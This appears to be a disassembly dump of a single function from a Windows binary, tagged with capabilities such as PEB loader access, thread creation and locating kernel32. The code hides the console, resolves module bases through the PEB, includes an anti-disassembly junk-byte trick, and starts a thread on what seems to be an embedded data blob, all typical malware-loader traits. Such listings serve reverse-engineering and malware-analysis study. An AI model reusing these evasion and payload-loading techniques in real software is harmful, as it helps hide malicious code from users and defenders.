Function at 0x407bd0
Capabilities:
Access peb ldr_data
Create thread
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x46f61c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, 0x1a1
cmp eax, 0x24
ja 0x407bef
call 0xe841e63f
push ebx
cmp byte [eax], al
add byte [edx + 1], ch
push 1
call fcn.0040b449
push 1
call fcn.0040b449
add esp, 8
mov dword [ebp - 0x34], eax
push str.FreeConsole
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
call edx
movaps xmm0, xmmword [0x42a520]
lea ecx, [ebp - 0x18]
lea eax, [ebp - 4]
mov dword [ebp - 8], 5
sub eax, ecx
xor ebx, ebx
mov dword [ebp - 0x20], eax
xor edi, edi
sar eax, 2
xor ecx, ecx
xor esi, esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], eax
movups xmmword [ebp - 0x18], xmm0
test eax, eax
je 0x407cd4
cmp eax, 0x3fffffff
ja 0x407e5d
lea esi, [eax*4]
cmp esi, 0x1000
jb 0x407c9b
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x407e62
push eax
call fcn.0040b449
add esp, 4
test eax, eax
je 0x407e67
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x407cae
test esi, esi
je 0x407cac
push esi
call fcn.0040b449
add esp, 4
mov edi, eax
jmp 0x407cae
xor edi, edi
push dword [ebp - 0x20]
lea eax, [esi + edi]
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x18]
push eax
push edi
call fcn.0040c710
mov eax, dword [ebp - 0x24]
add esp, 0xc
mov esi, edi
lea ebx, [edi + eax*4]
mov dword [ebp - 0x2c], ebx
mov ecx, ebx
mov eax, ecx
sub eax, esi
sar eax, 2
test eax, eax
je 0x407d1f
mov byte [ebp - 0x24], 0
push dword [ebp - 0x24]
push eax
push ecx
push esi
call fcn.00402d60
add esp, 0x10
xor ecx, ecx
mov edx, dword [esi + ecx*4]
test edx, edx
jns 0x407d03
mov dword [esi + ecx*4], 0
xor edx, edx
cmp dword [esi], 1
jg 0x407d1f
mov eax, dword [esi + ecx*4 + 4]
sub eax, edx
cmp eax, 1
jg 0x407d1f
mov eax, ebx
inc ecx
sub eax, edi
sar eax, 2
cmp ecx, eax
jb 0x407cf3
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00407480
mov ecx, dword [ebp - 8]
cmp ecx, 0x10
jb 0x407d63
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407d59
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407e67
push ecx
push edx
call fcn.0040b479
add esp, 8
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x470680], eax
sub eax, eax
je 0x407d82
call 0xff40e824
adc eax, sym.imp.ADVAPI32.dll_IsValidSid
push 0
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
push 0x37600
push section..data
call fcn.00405f20
push 8
call fcn.0040b449
mov esi, eax
add esp, 0xc
test esi, esi
je 0x407de5
push 4
call fcn.0040b449
add esp, 4
test eax, eax
je 0x407dbf
mov dword [eax], 0x4048c0
jmp 0x407dc1
xor eax, eax
lea edi, [esi + 4]
push edi
push 0
push eax
push 0x401dc0
push 0
push 0
call fcn.00412b0a
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x407e6c
jmp 0x407de7
xor esi, esi
cmp dword [esi + 4], 0
je 0x407e79
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [esi + 4], eax
je 0x407e80
push 0
push dword [esi + 4]
push dword [esi]
call fcn.00408135
add esp, 0xc
test eax, eax
jne 0x407e87
mov edx, dword [ebp - 0x30]
mov dword [esi], eax
mov dword [esi + 4], eax
test edx, edx
je 0x407e4a
mov ecx, dword [ebp - 0x28]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x407e40
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407e8e
push ecx
push edx
call fcn.0040b479
add esp, 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b48c
mov esp, ebp
pop ebp
ret
call fcn.00405a60
call fcn.00405990
call fcn.0040fedf
push 6
mov dword [edi], 0
call fcn.00408275
push 1
call fcn.00408275
push 5
call fcn.00408275
push 2
call fcn.00408275
call fcn.0040fedf
int3